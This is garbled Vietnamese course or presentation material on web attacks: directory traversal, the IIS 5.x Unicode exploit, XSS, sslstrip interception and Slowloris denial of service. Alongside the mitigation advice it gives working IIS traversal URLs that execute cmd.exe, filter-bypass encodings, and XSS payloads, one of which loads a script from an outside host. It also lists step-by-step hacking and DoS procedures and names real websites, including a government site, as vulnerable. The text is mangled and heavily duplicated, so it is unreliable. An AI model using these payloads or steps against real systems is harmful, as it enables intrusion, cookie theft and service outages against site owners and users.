Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
1 Tạo một Main In The Middle trecircn caacutec kết nối HTTP
2 Thay thế tất cả caacutec liecircn kết với những HTTPS bằng HTTP
3 Giao tiếp với maacutey nạn nhacircn với một kết nối HTTP cho tất cả caacutec kết nối HTTPS
4 Giao tiếp với server với liecircn kết HTTPS5 Tạo proxy giữa Client vagrave Server6 Thay thế caacutec higravenh ảnh như favicon bằng
những higravenh ảnh quen thuộc như caacutec khoacutea an toagraven
7 Luacutec nagravey Clinet bị đaacutenh cắp những thocircng tin quan trọng magrave khocircng biết
TargetUsingFacebook
Attacker sslstrip Proxyin the Middle
To Internet
HTTP
HTTPS
Attracter Web Server Client
Bước 1 Client gửi request tới web server với phương thức Để lấy những thocircng tin cần thiết
Bước 2Attracker đoacuteng vai trograve proxy ở giữa bắt được request vagrave chuyển sang phương thức https vagrave chuyển đến web server
Bước 3 web server sẽ gửi những reponse về cho attracker
Bước 4 Atrracker sẽ chuyển lại những nội dung vừa nhận từ web server tới client nhưng được attracker chỉnh sửa lại giống y như trang gửi về của web server
Luacutec nagravey người dugraveng cứ tưởng migravenh đang kết nối trực tiếp với Web server magrave migravenh đang thao taacutec
Mức độ nguy hiểm cao Caacutech tấn cocircng nagravey chưa thể dograve tigravem ra vagrave cho pheacutep tin tặc đaacutenh cắp mật khẩu hijack vagraveo caacutec phiecircn giao dịch ngacircn hagraveng trực tuyến hay thậm chiacute lagrave đưa ra một bản cập nhật trigravenh duyệt FireFox coacute điacutenh kegravem matilde độc
Khi truy cập website thigrave necircn gotilde theo dạng httpswebsite vagrave nhớ click vagraveo biểu tượng ổ khoacutea khi lướt web xem coacute phải certificate đoacute coacute phải lagrave của web đoacute ko hay lagrave cert giả mạo
Mocirc tả Demo Caacutech phograveng chống
Do Apache mở socket vagrave nhận data từ client (3-way handshakes đatilde hoagraven tất) cho mọi request đi vagraveo vagrave giới hạn mặt định max_client lagrave 150 Vigrave vậy khi slowloris gửi tới server những http request khocircng hoagraven chỉnh apache phải chờ cho http request nagravey time out mặt định lagrave 300s Nếu slowloris gửi liecircn tục caacutec request nagravey tới webserver thigrave chỉ trong vagravei giacircy apache đatilde đạt max_client từ chống phục vụ caacutec client khaacutec
Với giaacute trị TimeOut của apache thigrave noacute ấn định cho 3 điều chiacutenh
1 Thời gian cần thiết để nhận trọn vẹn một g i ửb ng ằ GET 2 Thời gian giữa caacutec goacutei tin TCP g i b ng ử ằ POST hoặc PUT (coacute chứa data) 3 Thời gian giữa caacutec cuacute TCP ACK trong quaacute trigravenh chuyển tải dữ liệu giữa client (browser) vagrave web server (apache)
Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
